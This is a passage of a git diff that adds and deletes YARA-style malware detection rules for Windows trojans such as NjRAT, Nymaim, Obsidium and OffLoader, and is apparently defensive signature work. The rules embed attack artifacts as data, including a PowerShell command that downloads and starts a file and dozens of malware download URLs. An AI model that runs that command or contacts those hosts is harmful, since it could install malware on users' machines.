\ No newline at end of file diff --git a/Trojan/Win32/NetworkConfig/Trojan_Win32_NetworkConfig_D.yar b/Trojan/Win32/NetworkConfig/Trojan_Win32_NetworkConfig_D.yar deleted file mode 100644 index 2c888c5a67..0000000000 --- a/Trojan/Win32/NetworkConfig/Trojan_Win32_NetworkConfig_D.yar +++ /dev/null @@ -1,12 +0,0 @@ - -rule Trojan_Win32_NetworkConfig_D{ - meta: - description = "Trojan:Win32/NetworkConfig.D,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 00 " - - strings : - $a_02_0 = {6e 00 62 00 74 00 73 00 74 00 61 00 74 00 [0-10] 2d 00 73 00 } //1 - $a_00_1 = {6e 00 65 00 73 00 73 00 75 00 73 00 } //-50 nessus - condition: - ((#a_02_0 & 1)*1+(#a_00_1 & 1)*-50) >=1 - -} \ No newline at end of file diff --git a/Trojan/Win32/NjRat/Trojan_Win32_NjRAT_SAC_MTB.yar b/Trojan/Win32/NjRat/Trojan_Win32_NjRAT_SAC_MTB.yar new file mode 100644 index 0000000000..70237bb4bc --- /dev/null +++ b/Trojan/Win32/NjRat/Trojan_Win32_NjRAT_SAC_MTB.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win32_NjRAT_SAC_MTB{ + meta: + description = "Trojan:Win32/NjRAT.SAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 00 " + + strings : + $a_02_0 = {22 00 43 00 3a 00 5c 00 57 00 49 00 4e 00 44 00 4f 00 57 00 53 00 5c 00 53 00 59 00 53 00 54 00 45 00 4d 00 33 00 32 00 5c 00 63 00 6d 00 64 00 22 00 20 00 2f 00 63 00 20 00 43 00 3a 00 5c 00 54 00 45 00 4d 00 50 00 5c 00 [0-14] 2e 00 62 00 61 00 74 00 20 00 43 00 3a 00 5c 00 [0-14] 2e 00 65 00 78 00 65 00 } //2 + $a_81_1 = {70 6f 77 65 72 73 68 65 6c 6c 20 2d 43 6f 6d 6d 61 6e 64 20 22 28 4e 65 77 2d 4f 62 6a 65 63 74 20 53 79 73 74 65 6d 2e 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 29 2e 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 28 27 25 75 72 6c 31 25 27 2c 20 27 25 6f 75 74 70 75 74 31 25 27 29 22 } //1 powershell -Command "(New-Object System.Net.WebClient).DownloadFile('%url1%', '%output1%')" + $a_02_2 = {74 00 6d 00 70 00 5c 00 [0-14] 2e 00 74 00 6d 00 70 00 5c 00 [0-14] 2e 00 74 00 6d 00 70 00 } //1 + $a_01_3 = {44 00 65 00 62 00 75 00 67 00 67 00 65 00 72 00 20 00 62 00 72 00 65 00 61 00 6b 00 70 00 6f 00 69 00 6e 00 74 00 20 00 72 00 65 00 61 00 63 00 68 00 65 00 64 00 } //1 Debugger breakpoint reached + $a_01_4 = {73 00 74 00 61 00 72 00 74 00 20 00 22 00 22 00 20 00 22 00 25 00 6f 00 75 00 74 00 70 00 75 00 74 00 31 00 25 00 22 00 } //1 start "" "%output1%" + $a_01_5 = {62 00 32 00 65 00 69 00 6e 00 63 00 66 00 69 00 6c 00 65 00 70 00 61 00 74 00 68 00 } //1 b2eincfilepath + $a_02_6 = {54 00 45 00 4d 00 50 00 5c 00 [0-14] 2e 00 74 00 6d 00 70 00 5c 00 [0-14] 2e 00 74 00 6d 00 70 00 5c 00 65 00 78 00 74 00 64 00 2e 00 65 00 78 00 65 00 } //1 + $a_02_7 = {54 45 4d 50 5c [0-14] 2e 74 6d 70 5c [0-14] 2e 74 6d 70 5c 65 78 74 64 2e 65 78 65 } //1 + condition: + ((#a_02_0 & 1)*2+(#a_81_1 & 1)*1+(#a_02_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_02_6 & 1)*1+(#a_02_7 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/Noon/Trojan_Win32_Noon_GVA_MTB.yar b/Trojan/Win32/Noon/Trojan_Win32_Noon_GVA_MTB.yar new file mode 100644 index 0000000000..7005a257e5 --- /dev/null +++ b/Trojan/Win32/Noon/Trojan_Win32_Noon_GVA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Noon_GVA_MTB{ + meta: + description = "Trojan:Win32/Noon.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {89 d1 44 20 c1 08 d0 30 c8 44 08 c2 30 c2 74 20 } //3 + $a_01_1 = {0f 94 c2 08 d1 44 30 c2 44 30 c1 80 f1 01 08 d1 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Nymaim/Trojan_Win32_Nymaim_BAF_MTB.yar b/Trojan/Win32/Nymaim/Trojan_Win32_Nymaim_BAF_MTB.yar new file mode 100644 index 0000000000..6ce18aabe7 --- /dev/null +++ b/Trojan/Win32/Nymaim/Trojan_Win32_Nymaim_BAF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Nymaim_BAF_MTB{ + meta: + description = "Trojan:Win32/Nymaim.BAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {50 59 51 29 c0 0b 02 f8 83 d2 04 83 e8 2c } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Obfuscator/Trojan_Win32_Obfuscator_NIT_MTB.yar b/Trojan/Win32/Obfuscator/Trojan_Win32_Obfuscator_NIT_MTB.yar new file mode 100644 index 0000000000..4b32fb81a8 --- /dev/null +++ b/Trojan/Win32/Obfuscator/Trojan_Win32_Obfuscator_NIT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Obfuscator_NIT_MTB{ + meta: + description = "Trojan:Win32/Obfuscator.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {6a 00 6a 00 ff 15 14 81 40 00 c7 45 d4 00 00 00 00 6a 00 6a 00 ff 15 18 81 40 00 85 c0 0f 85 e9 00 00 00 c7 45 d0 00 00 00 00 c7 45 cc 00 00 00 00 eb 09 8b 4d cc 83 c1 01 89 4d cc 81 7d cc fb 0c 00 00 7d 0b 8b 55 d0 83 c2 01 89 55 d0 eb e3 6a 00 ff 15 34 80 40 00 83 f8 4b } //2 + $a_01_1 = {8b 4d fc 03 4d e8 8a 11 02 55 80 8b 45 fc 03 45 e8 88 10 8b 8d 74 ff ff ff 83 c1 01 89 8d 74 ff ff ff 8b 55 e0 81 e2 ff 00 00 00 39 95 74 ff ff ff } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Obfuse/Trojan_Win32_Obfuse_A.yar b/Trojan/Win32/Obfuse/Trojan_Win32_Obfuse_A.yar new file mode 100644 index 0000000000..441ee55350 --- /dev/null +++ b/Trojan/Win32/Obfuse/Trojan_Win32_Obfuse_A.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Obfuse_A{ + meta: + description = "Trojan:Win32/Obfuse.A,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {c7 45 d4 6b 65 72 6e c7 45 d8 65 6c 33 32 c7 45 dc 2e 64 6c 6c c6 45 e0 00 } //1 + $a_01_1 = {c7 45 e4 47 65 74 54 c7 45 e8 69 63 6b 43 c7 45 ec 6f 75 6e 74 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Obsidium/Trojan_Win32_Obsidium_AB_MTB.yar b/Trojan/Win32/Obsidium/Trojan_Win32_Obsidium_AB_MTB.yar new file mode 100644 index 0000000000..c31ec68a5d --- /dev/null +++ b/Trojan/Win32/Obsidium/Trojan_Win32_Obsidium_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Obsidium_AB_MTB{ + meta: + description = "Trojan:Win32/Obsidium.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {40 eb 03 36 03 51 33 c1 71 01 8f 33 d1 70 1b 89 45 f0 eb 01 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Obsidium/Trojan_Win32_Obsidium_AC_MTB.yar b/Trojan/Win32/Obsidium/Trojan_Win32_Obsidium_AC_MTB.yar new file mode 100644 index 0000000000..e35393b2bb --- /dev/null +++ b/Trojan/Win32/Obsidium/Trojan_Win32_Obsidium_AC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Obsidium_AC_MTB{ + meta: + description = "Trojan:Win32/Obsidium.AC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {b8 c8 c9 3e b6 42 c6 1e dc 6b 7a e2 b9 e0 0e 89 04 c1 8e 6b 18 09 88 2c 86 ed 84 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Obsidium/Trojan_Win32_Obsidium_A_MTB.yar b/Trojan/Win32/Obsidium/Trojan_Win32_Obsidium_A_MTB.yar new file mode 100644 index 0000000000..678d0dbba9 --- /dev/null +++ b/Trojan/Win32/Obsidium/Trojan_Win32_Obsidium_A_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Obsidium_A_MTB{ + meta: + description = "Trojan:Win32/Obsidium.A!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {36 dc 71 5b eb 03 d2 a5 00 eb 05 32 ae 3f 9b 0a b8 0e 48 3c f7 eb 01 76 eb } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AGTA_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AGTA_MTB.yar new file mode 100644 index 0000000000..9e2bd244ef --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AGTA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_OffLoader_AGTA_MTB{ + meta: + description = "Trojan:Win32/OffLoader.AGTA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_80_0 = {3a 2f 2f 62 6f 6e 65 79 61 72 6e 2e 78 79 7a 2f 6c 75 69 2e 70 68 70 3f } //://boneyarn.xyz/lui.php? 4 + $a_80_1 = {2f 73 69 6c 65 6e 74 } ///silent 1 + $a_80_2 = {2f 77 65 61 6b 73 65 63 75 72 69 74 79 } ///weaksecurity 1 + $a_80_3 = {2f 6e 6f 63 6f 6f 6b 69 65 73 } ///nocookies 1 + $a_80_4 = {2f 72 65 73 75 6d 65 } ///resume 1 + condition: + ((#a_80_0 & 1)*4+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AHYA_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AHYA_MTB.yar new file mode 100644 index 0000000000..09d84b7467 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AHYA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_OffLoader_AHYA_MTB{ + meta: + description = "Trojan:Win32/OffLoader.AHYA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 00 " + + strings : + $a_80_0 = {3a 2f 2f 6d 65 6d 6f 72 79 6e 65 63 6b 2e 69 6e 66 6f 2f 67 6f 6f 2e 70 68 70 3f } //://memoryneck.info/goo.php? 4 + $a_80_1 = {3a 2f 2f 76 6f 6c 6c 65 79 62 61 6c 6c 73 6f 6e 67 2e 78 79 7a 2f 67 6f 6f 73 2e 70 68 70 3f } //://volleyballsong.xyz/goos.php? 4 + $a_80_2 = {2f 73 69 6c 65 6e 74 } ///silent 1 + $a_80_3 = {44 6f 20 79 6f 75 20 77 61 6e 74 20 74 6f 20 72 65 62 6f 6f 74 20 6e 6f 77 3f } //Do you want to reboot now? 1 + condition: + ((#a_80_0 & 1)*4+(#a_80_1 & 1)*4+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AH_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AH_MTB.yar new file mode 100644 index 0000000000..d72f9bfe25 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AH_MTB.yar @@ -0,0 +1,36 @@ + +rule Trojan_Win32_OffLoader_AH_MTB{ + meta: + description = "Trojan:Win32/OffLoader.AH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 1a 00 00 " + + strings : + $a_01_0 = {73 00 65 00 61 00 62 00 75 00 73 00 69 00 6e 00 65 00 73 00 73 00 2e 00 78 00 79 00 7a 00 2f 00 66 00 6b 00 69 00 73 00 2e 00 70 00 68 00 70 00 } //3 seabusiness.xyz/fkis.php + $a_01_1 = {73 00 6f 00 6e 00 70 00 6c 00 61 00 6e 00 65 00 2e 00 69 00 6e 00 66 00 6f 00 2f 00 66 00 6b 00 69 00 2e 00 70 00 68 00 70 00 3f 00 70 00 65 00 } //3 sonplane.info/fki.php?pe + $a_01_2 = {63 00 61 00 6b 00 65 00 73 00 74 00 6f 00 6f 00 74 00 68 00 62 00 72 00 75 00 73 00 68 00 2e 00 69 00 63 00 75 00 2f 00 6c 00 75 00 69 00 2e 00 70 00 68 00 70 00 3f 00 70 00 65 00 } //3 cakestoothbrush.icu/lui.php?pe + $a_01_3 = {73 00 6f 00 64 00 61 00 62 00 65 00 64 00 72 00 6f 00 6f 00 6d 00 2e 00 78 00 79 00 7a 00 2f 00 6c 00 75 00 69 00 73 00 2e 00 70 00 68 00 70 00 } //3 sodabedroom.xyz/luis.php + $a_01_4 = {74 00 65 00 65 00 74 00 68 00 65 00 6c 00 62 00 6f 00 77 00 2e 00 69 00 63 00 75 00 2f 00 74 00 72 00 69 00 2e 00 70 00 68 00 70 00 3f 00 70 00 65 00 } //3 teethelbow.icu/tri.php?pe + $a_01_5 = {6d 00 69 00 6e 00 69 00 73 00 74 00 65 00 72 00 6b 00 69 00 73 00 73 00 2e 00 78 00 79 00 7a 00 2f 00 74 00 72 00 69 00 73 00 2e 00 70 00 68 00 70 00 3f 00 70 00 65 00 } //3 ministerkiss.xyz/tris.php?pe + $a_01_6 = {66 00 72 00 6f 00 67 00 74 00 72 00 75 00 63 00 6b 00 2e 00 78 00 79 00 7a 00 2f 00 6d 00 65 00 65 00 2e 00 70 00 68 00 70 00 3f 00 } //3 frogtruck.xyz/mee.php? + $a_01_7 = {71 00 75 00 69 00 6e 00 63 00 65 00 73 00 74 00 72 00 65 00 65 00 74 00 2e 00 69 00 63 00 75 00 2f 00 6d 00 65 00 65 00 73 00 2e 00 70 00 68 00 70 00 3f 00 } //3 quincestreet.icu/mees.php? + $a_01_8 = {63 00 72 00 65 00 61 00 74 00 6f 00 72 00 65 00 67 00 67 00 73 00 2e 00 69 00 63 00 75 00 2f 00 6f 00 69 00 75 00 2e 00 70 00 68 00 70 00 3f 00 } //3 creatoreggs.icu/oiu.php? + $a_01_9 = {62 00 75 00 74 00 74 00 6f 00 6e 00 73 00 69 00 7a 00 65 00 2e 00 78 00 79 00 7a 00 2f 00 6f 00 69 00 75 00 73 00 2e 00 70 00 68 00 70 00 3f 00 70 00 65 00 } //3 buttonsize.xyz/oius.php?pe + $a_01_10 = {65 00 76 00 65 00 6e 00 74 00 61 00 75 00 74 00 68 00 6f 00 72 00 69 00 74 00 79 00 2e 00 69 00 6e 00 66 00 6f 00 2f 00 6b 00 6b 00 6b 00 2e 00 70 00 68 00 70 00 3f 00 70 00 65 00 } //3 eventauthority.info/kkk.php?pe + $a_01_11 = {71 00 75 00 69 00 6e 00 63 00 65 00 70 00 61 00 72 00 74 00 2e 00 69 00 63 00 75 00 2f 00 6b 00 6b 00 6b 00 73 00 2e 00 70 00 68 00 70 00 3f 00 } //3 quincepart.icu/kkks.php? + $a_01_12 = {62 00 69 00 6b 00 65 00 74 00 6f 00 65 00 73 00 2e 00 78 00 79 00 7a 00 2f 00 73 00 6c 00 66 00 2e 00 70 00 68 00 70 00 3f 00 70 00 65 00 } //3 biketoes.xyz/slf.php?pe + $a_01_13 = {73 00 6d 00 65 00 6c 00 6c 00 73 00 74 00 61 00 6d 00 70 00 2e 00 69 00 63 00 75 00 2f 00 73 00 6c 00 66 00 73 00 2e 00 70 00 68 00 70 00 } //3 smellstamp.icu/slfs.php + $a_01_14 = {72 00 61 00 69 00 6c 00 77 00 61 00 79 00 74 00 69 00 6d 00 65 00 2e 00 78 00 79 00 7a 00 2f 00 73 00 6c 00 66 00 73 00 2e 00 70 00 68 00 70 00 } //3 railwaytime.xyz/slfs.php + $a_01_15 = {6c 00 61 00 75 00 67 00 68 00 69 00 6e 00 63 00 6f 00 6d 00 65 00 2e 00 69 00 63 00 75 00 2f 00 73 00 6c 00 66 00 2e 00 70 00 68 00 70 00 3f 00 70 00 65 00 } //3 laughincome.icu/slf.php?pe + $a_01_16 = {6d 00 65 00 6d 00 6f 00 72 00 79 00 6e 00 65 00 63 00 6b 00 2e 00 69 00 6e 00 66 00 6f 00 2f 00 67 00 6f 00 6f 00 2e 00 70 00 68 00 70 00 3f 00 70 00 65 00 } //3 memoryneck.info/goo.php?pe + $a_01_17 = {76 00 6f 00 6c 00 6c 00 65 00 79 00 62 00 61 00 6c 00 6c 00 73 00 6f 00 6e 00 67 00 2e 00 78 00 79 00 7a 00 2f 00 67 00 6f 00 6f 00 73 00 2e 00 70 00 68 00 70 00 } //3 volleyballsong.xyz/goos.php + $a_01_18 = {61 00 69 00 72 00 70 00 6c 00 61 00 6e 00 65 00 6d 00 6f 00 76 00 65 00 2e 00 69 00 6e 00 66 00 6f 00 2f 00 79 00 75 00 74 00 2e 00 70 00 68 00 70 00 3f 00 70 00 65 00 } //3 airplanemove.info/yut.php?pe + $a_01_19 = {70 00 72 00 6f 00 64 00 75 00 63 00 65 00 73 00 6f 00 75 00 6e 00 64 00 2e 00 78 00 79 00 7a 00 2f 00 79 00 75 00 74 00 73 00 2e 00 70 00 68 00 70 00 3f 00 } //3 producesound.xyz/yuts.php? + $a_01_20 = {73 00 74 00 6f 00 76 00 65 00 77 00 65 00 61 00 74 00 68 00 65 00 72 00 2e 00 69 00 6e 00 66 00 6f 00 2f 00 74 00 6f 00 6f 00 2e 00 70 00 68 00 70 00 3f 00 70 00 65 00 } //3 stoveweather.info/too.php?pe + $a_01_21 = {79 00 61 00 72 00 6e 00 63 00 6f 00 6e 00 74 00 6f 00 6f 00 6c 00 2e 00 69 00 63 00 75 00 2f 00 74 00 6f 00 6f 00 73 00 2e 00 70 00 68 00 70 00 3f 00 } //3 yarncontool.icu/toos.php? + $a_01_22 = {64 00 61 00 75 00 67 00 68 00 74 00 65 00 72 00 63 00 65 00 6d 00 65 00 74 00 65 00 72 00 79 00 2e 00 78 00 79 00 7a 00 2f 00 70 00 61 00 72 00 2e 00 70 00 68 00 70 00 3f 00 70 00 65 00 } //3 daughtercemetery.xyz/par.php?pe + $a_01_23 = {63 00 6f 00 6d 00 6d 00 69 00 74 00 74 00 65 00 65 00 64 00 69 00 6e 00 6e 00 65 00 72 00 2e 00 69 00 63 00 75 00 2f 00 70 00 61 00 72 00 73 00 2e 00 70 00 68 00 70 00 3f 00 70 00 65 00 } //3 committeedinner.icu/pars.php?pe + $a_01_24 = {6e 00 6f 00 63 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 } //1 nocookies + $a_01_25 = {44 00 6f 00 20 00 79 00 6f 00 75 00 20 00 77 00 61 00 6e 00 74 00 20 00 74 00 6f 00 20 00 72 00 65 00 62 00 6f 00 6f 00 74 00 20 00 6e 00 6f 00 77 00 3f 00 } //1 Do you want to reboot now? + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3+(#a_01_2 & 1)*3+(#a_01_3 & 1)*3+(#a_01_4 & 1)*3+(#a_01_5 & 1)*3+(#a_01_6 & 1)*3+(#a_01_7 & 1)*3+(#a_01_8 & 1)*3+(#a_01_9 & 1)*3+(#a_01_10 & 1)*3+(#a_01_11 & 1)*3+(#a_01_12 & 1)*3+(#a_01_13 & 1)*3+(#a_01_14 & 1)*3+(#a_01_15 & 1)*3+(#a_01_16 & 1)*3+(#a_01_17 & 1)*3+(#a_01_18 & 1)*3+(#a_01_19 & 1)*3+(#a_01_20 & 1)*3+(#a_01_21 & 1)*3+(#a_01_22 & 1)*3+(#a_01_23 & 1)*3+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AIQA_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AIQA_MTB.yar new file mode 100644 index 0000000000..3331ac257f --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AIQA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_OffLoader_AIQA_MTB{ + meta: + description = "Trojan:Win32/OffLoader.AIQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_80_0 = {3a 2f 2f 70 6f 69 6e 74 64 69 6e 6f 73 61 75 72 73 2e 78 79 7a 2f 69 64 6f 2e 70 68 70 3f } //://pointdinosaurs.xyz/ido.php? 4 + $a_80_1 = {2f 73 69 6c 65 6e 74 } ///silent 1 + $a_80_2 = {2f 77 65 61 6b 73 65 63 75 72 69 74 79 } ///weaksecurity 1 + $a_80_3 = {2f 6e 6f 63 6f 6f 6b 69 65 73 } ///nocookies 1 + $a_80_4 = {2f 72 65 73 75 6d 65 } ///resume 1 + condition: + ((#a_80_0 & 1)*4+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ALTA_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ALTA_MTB.yar new file mode 100644 index 0000000000..6b17a44052 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ALTA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_OffLoader_ALTA_MTB{ + meta: + description = "Trojan:Win32/OffLoader.ALTA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_80_0 = {3a 2f 2f 63 72 61 63 6b 61 72 69 74 68 6d 65 74 69 63 2e 69 63 75 2f 67 6c 6f 2e 70 68 70 3f } //://crackarithmetic.icu/glo.php? 4 + $a_80_1 = {2f 73 69 6c 65 6e 74 } ///silent 1 + $a_80_2 = {2f 77 65 61 6b 73 65 63 75 72 69 74 79 } ///weaksecurity 1 + $a_80_3 = {2f 6e 6f 63 6f 6f 6b 69 65 73 } ///nocookies 1 + $a_80_4 = {2f 72 65 73 75 6d 65 } ///resume 1 + condition: + ((#a_80_0 & 1)*4+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AMUA_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AMUA_MTB.yar new file mode 100644 index 0000000000..9c0641109f --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AMUA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_OffLoader_AMUA_MTB{ + meta: + description = "Trojan:Win32/OffLoader.AMUA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 00 " + + strings : + $a_80_0 = {3a 2f 2f 74 65 65 74 68 65 6c 62 6f 77 2e 69 63 75 2f 74 72 69 2e 70 68 70 3f } //://teethelbow.icu/tri.php? 4 + $a_80_1 = {3a 2f 2f 6d 69 6e 69 73 74 65 72 6b 69 73 73 2e 78 79 7a 2f 74 72 69 73 2e 70 68 70 3f } //://ministerkiss.xyz/tris.php? 4 + $a_80_2 = {2f 73 69 6c 65 6e 74 } ///silent 1 + $a_80_3 = {44 6f 20 79 6f 75 20 77 61 6e 74 20 74 6f 20 72 65 62 6f 6f 74 20 6e 6f 77 3f } //Do you want to reboot now? 1 + condition: + ((#a_80_0 & 1)*4+(#a_80_1 & 1)*4+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ANA_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ANA_MTB.yar new file mode 100644 index 0000000000..215042ae77 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ANA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_OffLoader_ANA_MTB{ + meta: + description = "Trojan:Win32/OffLoader.ANA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 00 " + + strings : + $a_01_0 = {73 00 65 00 65 00 64 00 64 00 65 00 76 00 65 00 6c 00 6f 00 70 00 6d 00 65 00 6e 00 74 00 2e 00 69 00 63 00 75 00 2f 00 6c 00 6f 00 76 00 2e 00 70 00 68 00 70 00 3f 00 } //3 seeddevelopment.icu/lov.php? + $a_01_1 = {74 00 68 00 72 00 65 00 61 00 64 00 62 00 72 00 61 00 6e 00 63 00 68 00 2e 00 78 00 79 00 7a 00 2f 00 6c 00 6f 00 76 00 73 00 2e 00 70 00 68 00 70 00 3f 00 } //3 threadbranch.xyz/lovs.php? + $a_01_2 = {6e 00 6f 00 63 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 } //1 nocookies + $a_01_3 = {44 00 6f 00 20 00 79 00 6f 00 75 00 20 00 77 00 61 00 6e 00 74 00 20 00 74 00 6f 00 20 00 72 00 65 00 62 00 6f 00 6f 00 74 00 20 00 6e 00 6f 00 77 00 3f 00 } //1 Do you want to reboot now? + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ANP_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ANP_MTB.yar new file mode 100644 index 0000000000..da66e03d4c --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ANP_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_OffLoader_ANP_MTB{ + meta: + description = "Trojan:Win32/OffLoader.ANP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 00 " + + strings : + $a_01_0 = {74 00 65 00 65 00 74 00 68 00 62 00 75 00 62 00 62 00 6c 00 65 00 2e 00 69 00 63 00 75 00 2f 00 69 00 64 00 6f 00 2e 00 70 00 68 00 70 00 } //3 teethbubble.icu/ido.php + $a_01_1 = {70 00 69 00 63 00 6b 00 6c 00 65 00 62 00 61 00 74 00 2e 00 78 00 79 00 7a 00 2f 00 69 00 64 00 6f 00 73 00 2e 00 70 00 68 00 70 00 } //3 picklebat.xyz/idos.php + $a_01_2 = {6e 00 6f 00 63 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 } //1 nocookies + $a_01_3 = {44 00 6f 00 20 00 79 00 6f 00 75 00 20 00 77 00 61 00 6e 00 74 00 20 00 74 00 6f 00 20 00 72 00 65 00 62 00 6f 00 6f 00 74 00 20 00 6e 00 6f 00 77 00 3f 00 } //1 Do you want to reboot now? + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ANQ_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ANQ_MTB.yar new file mode 100644 index 0000000000..73b71c91b6 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ANQ_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_OffLoader_ANQ_MTB{ + meta: + description = "Trojan:Win32/OffLoader.ANQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 00 " + + strings : + $a_01_0 = {70 00 61 00 6e 00 63 00 61 00 6b 00 65 00 62 00 61 00 67 00 2e 00 78 00 79 00 7a 00 2f 00 62 00 69 00 6b 00 2e 00 70 00 68 00 70 00 } //3 pancakebag.xyz/bik.php + $a_01_1 = {70 00 6c 00 6f 00 74 00 63 00 61 00 6b 00 65 00 2e 00 69 00 63 00 75 00 2f 00 62 00 69 00 6b 00 73 00 2e 00 70 00 68 00 70 00 } //3 plotcake.icu/biks.php + $a_01_2 = {6e 00 6f 00 63 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 } //1 nocookies + $a_01_3 = {44 00 6f 00 20 00 79 00 6f 00 75 00 20 00 77 00 61 00 6e 00 74 00 20 00 74 00 6f 00 20 00 72 00 65 00 